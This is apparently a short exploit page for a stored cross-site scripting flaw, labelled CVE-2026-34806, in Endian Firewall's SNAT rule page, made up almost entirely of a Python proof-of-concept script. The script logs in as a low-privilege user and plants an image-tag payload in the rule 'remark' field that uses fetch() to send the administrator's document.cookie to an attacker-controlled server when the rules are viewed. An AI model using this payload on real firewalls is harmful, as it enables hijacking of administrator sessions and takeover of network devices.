CVE-2026-34806 Endian Firewall存储型XSS漏洞

import requests # Target configuration target_url = "http://firewall-ip/cgi-bin/snat.cgi" login_url = "http://firewall-ip/cgi-bin/login.cgi" # Attacker credentials username = "low_priv_user" password = "password" # Malicious payload to capture cookies xss_payload = "<img src=x onerror=fetch('http://attacker-controlled-server/?c='+document.cookie);>" # Exploit function def exploit(): session = requests.Session() # Step 1: Login login_data = {"username": username, "password": password} session.post(login_url, data=login_data) # Step 2: Inject payload via the vulnerable parameter # Constructing a typical POST request for SNAT rule creation exploit_data = { "action": "create", "src": "192.168.1.0/24", "remark": xss_payload # Vulnerable field } try: response = session.post(target_url, data=exploit_data) if response.status_code == 200: print("[+] Payload injected successfully into the remark field.") print("[+] The XSS will trigger when an admin views the SNAT rules.") else: print("[-] Injection failed.") except Exception as e: print(f"[!] Error: {e}") if __name__ == "__main__": exploit()